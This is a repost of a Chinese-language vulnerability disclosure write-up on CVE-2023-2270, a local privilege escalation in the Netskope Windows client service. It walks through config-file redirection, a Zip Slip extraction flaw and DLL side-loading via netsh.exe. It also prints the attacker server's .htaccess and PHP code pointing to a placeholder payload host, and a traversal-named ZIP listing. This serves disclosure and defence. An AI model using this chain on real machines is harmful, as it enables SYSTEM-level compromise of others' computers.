NETSKOPE 客户端服务本地权限升级

admin 2023年6月26日13:12:54评论25 views字数 4026阅读13分25秒阅读模式
NETSKOPE 客户端服务本地权限升级
受影响的组件
  • Windows 上的 Netskope 客户端服务
  • https://www.netskope.com/
  • 在 Windows 10 (x64) 和 Windows 11 (x64) 上测试。
披露时间表
  • 2022-07-22:联系 Netskope
  • 2023-04-27:修复集成
介绍
我们的一位客户最近要求我们检查是否有可能破坏他们发送给员工的公司笔记本电脑。这是使用和不使用标识符检查是否存在漏洞的问题。
本文介绍了解锁用户会话后发现的一个漏洞。未来的文章将解释我们如何绕过 Bitlocker 来在未事先登录的情况下破坏计算机。
笔记本电脑已完全修补,因此我决定查看是否安装了第三方应用程序以及是否可能存在漏洞。里面有几个安全软件,包括著名的 Netskope,我觉得有兴趣检查一下。我最终发现了几个漏洞,当这些漏洞被链接起来时,会导致用户到系统的权限提升。
提醒一下,Netskope 是一个云安全平台,为使用云应用程序、访问云数据和使用互联网进行日常活动的公司提供完整的安全解决方案。Netskope 使组织能够发现、保护和控制云中的所有活动,以及防止威胁并遵守法规。Netskope 平台采用以数据为中心的安全方法,这意味着无论敏感数据位于云应用程序、SaaS 服务、IaaS/PaaS 环境还是移动设备上,它都能保护敏感数据。
总之,Netskope 帮助公司安全地采用云优先方法来开展业务,同时确保其数据受到保护并符合法规。
漏洞分析与利用
漏洞总结:
  • Netskope 写入一个可供用户读/写访问的 json 文件。此 json 文件包含 netskope URL 的连接信息;
  • ZIP 文件由以 SYSTEM 权限运行的 netskope 服务 (StAgentSVC) 下载并解压。提取容易受到拉链缺陷的影响,允许提取任何、部分或全部存档内容;
  • 可以在 Netskope 客户端 (stAgentUI) 中启动并注入 DLL,以便与服务 (StAgentSVC) 进行通信;
  • Netsh.exe 可以由 netskope 以系统权限启动,并且容易受到 DLL 端加载缺陷的影响。
通过组合这些漏洞,可以在具有系统权限的主机上执行代码。
与服务通信的入口点
启动了两个计划:
  1. 以 SYSTEM 权限运行的 stAgentSVC 服务;
  2. 以用户权限运行并与服务通信的 stAgentUI.exe 客户端。
用户可以通过本地网络套接字与 Netskope 客户端服务交互。
stAgentSvc 服务侦听 127.0.0.1:57130,允许本地用户连接到它。每个数据包包含一个 4 字节的标头,编码数据的大小,后面是数据。
必须首先发送一个初始化数据包,其中特别包含客户端名称和 Netsk0pe 签名。
NETSKOPE 客户端服务本地权限升级
完成后,代理将返回包含Netsk0pe 的数据包并接受传入命令。

NETSKOPE 客户端服务本地权限升级

与服务的通信保护
为了防止任何客户端与服务器通信,该服务会检查客户端是否位于此处:C:Program Files (x86)NetskopeSTAgentstAgentUI.exe

NETSKOPE 客户端服务本地权限升级

它将比较两个二进制文件的绝对路径:

NETSKOPE 客户端服务本地权限升级

如果不是好数据包,则发送 RST、ACK 数据包。

NETSKOPE 客户端服务本地权限升级

我选择的解决方案是向其中注入 DLL,然后触发命令。stAgentUI.exe 可由用户控制,无需提升权限。
覆盖配置文件
命令 109 对我们来说会很有趣。通过发送命令:{"109":""},stAgentSvc 将尝试检索并执行 certutil.exe。

NETSKOPE 客户端服务本地权限升级

为此,它将连接到https://xxx.goskope.com/config/getcertutil?orgkey=[TOKEN]&version=&os=win
服务器将响应如下 json 数据:{"version": "THE_VERSION", "downloadurl" : "URL_TO_ZIP_FILE"}
NETSKOPE 客户端服务本地权限升级
JSON 数据将存储在C:ProgramDatanetskopestagentdownloadcertutil.json中,但此文件需要管理员权限才能写入。幸运的是,借助 nsbranding.json 文件,我们可以解决该限制
NETSKOPE 客户端服务本地权限升级
然后服务器将下载 downloadurl 值给出的地址处的 zip 文件并将其写入C:ProgramDatanetskopestagentdownloadcertutil.zip 完成后,它将创建C:ProgramDatanetskope stagentcertutil目录,然后将压缩数据解压到其中。

NETSKOPE 客户端服务本地权限升级

最后,它将以用户权限运行 certutil.exe 文件。
然而,存在一些漏洞,允许用户从任何地方下载任意 zip 文件并将其解压到磁盘中的任意位置。
可以通过重写 nsbranding.json 文件来修改 DNS 服务器,该文件包含 netskope 在启动服务时加载的许多 url。
该文件可以用用户权限重写。
通过修改AddonManagerHost字段的值,我们让服务器请求我们的假url。

NETSKOPE 客户端服务本地权限升级

读取文件

NETSKOPE 客户端服务本地权限升级

处理字段名称

NETSKOPE 客户端服务本地权限升级

请注意,一旦修改了 json,就必须重新启动服务才能重新加载它。然而,这里的一个技巧是让服务多次运行某些命令。然后我们注意到加载再次完成,无需重新启动 StAgentSVC 服务。
Zip Slip漏洞
提取过程容易受到 Zip Slip 缺陷的影响。事实上,通过创建包含相对文件名的 zip 文件,可以使用系统权限将文件提取到所需位置。

NETSKOPE 客户端服务本地权限升级

例如,应用程序能够在特定位置写入或重写 DLL 文件,随后由系统启动的可执行文件加载。这会导致获得 NTSYSTEM 权限。
通过 DLL 侧加载执行代码
既然可以将 DLL 放到任何地方,那么它如何能够被系统进程加载呢?
经过一段时间的搜索,我发现当输入命令 115 时,stAgentSVC 正在以系统权限运行 netsh.exe 进程。
通过启动 procmon.exe,我们发现c:WindowsSystem32wow64log.dll丢失

NETSKOPE 客户端服务本地权限升级

它将创建一个 32 位进程作为系统,它将尝试加载位于c:windowssystem32wow64log.DLL的 DLL

所以我们只需要将 DLL 放在那里,服务本身就会通过 netsh 为我们加载它!😊

构建漏洞利用
最终无需重启服务。该漏洞仅需几秒钟即可触发。
总而言之,该漏洞利用执行以下操作:

  • 修改nsbranding.json文件;
  • 强制代理重新加载此 JSON 文件;
  • 让代理下载并解压我们特制的 ZIP 文件以释放我们的 DLL;
  • 让代理启动 netsh.exe,从而加载生成 shell 的 DLL。

交付给 Netskope 的漏洞包含:

  • 将 DLL 注入 nsAgentUI.exe 的文件;
  • 允许与 stAgentSVC 通信的 DLL;
  • 服务器的配置如上。

这是 .htaccess 配置:

root@netskope:~# cat /var/www/html/.htaccess<ifmodule mod_rewrite.c=""> Options +FollowSymLinksRewriteEngine OnRewriteRule ^config/getcertutil$ config/getcertutil.php </ifmodule>

这是 getcertutil 代码:

root@netskope:~# cat /var/www/html/config/getcertutil.php<!--?phpfunction generateRandomString($length = 10) {    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';    $charactersLength = strlen($characters);    $randomString = '';    for ($i = 0; $i < $length; $i++) {        $randomString .= $characters[rand(0, $charactersLength - 1)];    }    return $randomString;} if ($_GET['version'] === "")        echo '{"version":"'.generateRandomString(rand(1,100)).'", "downloadurl":"https://[MY_SERVER].com/config/payload.zip"}';?-->

以下是包含加载 shell 的 DLL 的 ZIP 文件:
注意:DLL 文件将写入 C:WindowsSystem32。

root@netskope:~# unzip -l /var/www/html/config/payload.zipArchive:  /var/www/html/config/payload.zip  Length      Date    Time    Name---------  ---------- -----   ----   112640  2022-07-26 13:55   ../../../../Windows/Sysnative/wow64log.dll---------                     -------   112640                     1 file
结论
因此,您不应系统地信任安全软件,因为安全软件也可能存在自身的漏洞。
这项漏洞研究是我们的一位客户要求的安全审核的一部分,该客户想知道是否有可能危害公司的笔记本电脑。
发现的漏洞使得我们可以在我们审计的笔记本电脑上将我们的权限从用户提升到系统。

参考

  • https://www.netskope.com/company/security-compliance-and-assurance/security-advisories-and-disclosures
  • https://www.netskope.com/company/security-compliance-and-assurance/security-advisories-and-disclosures/netskope-security-advisory-nskpsa-2023-001
  • https://nvd.nist.gov/vuln/detail/CVE-2023-2270

原文始发于微信公众号(Ots安全):NETSKOPE 客户端服务本地权限升级

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月26日13:12:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NETSKOPE 客户端服务本地权限升级https://cn-sec.com/archives/1834822.html

发表评论

匿名网友 填写信息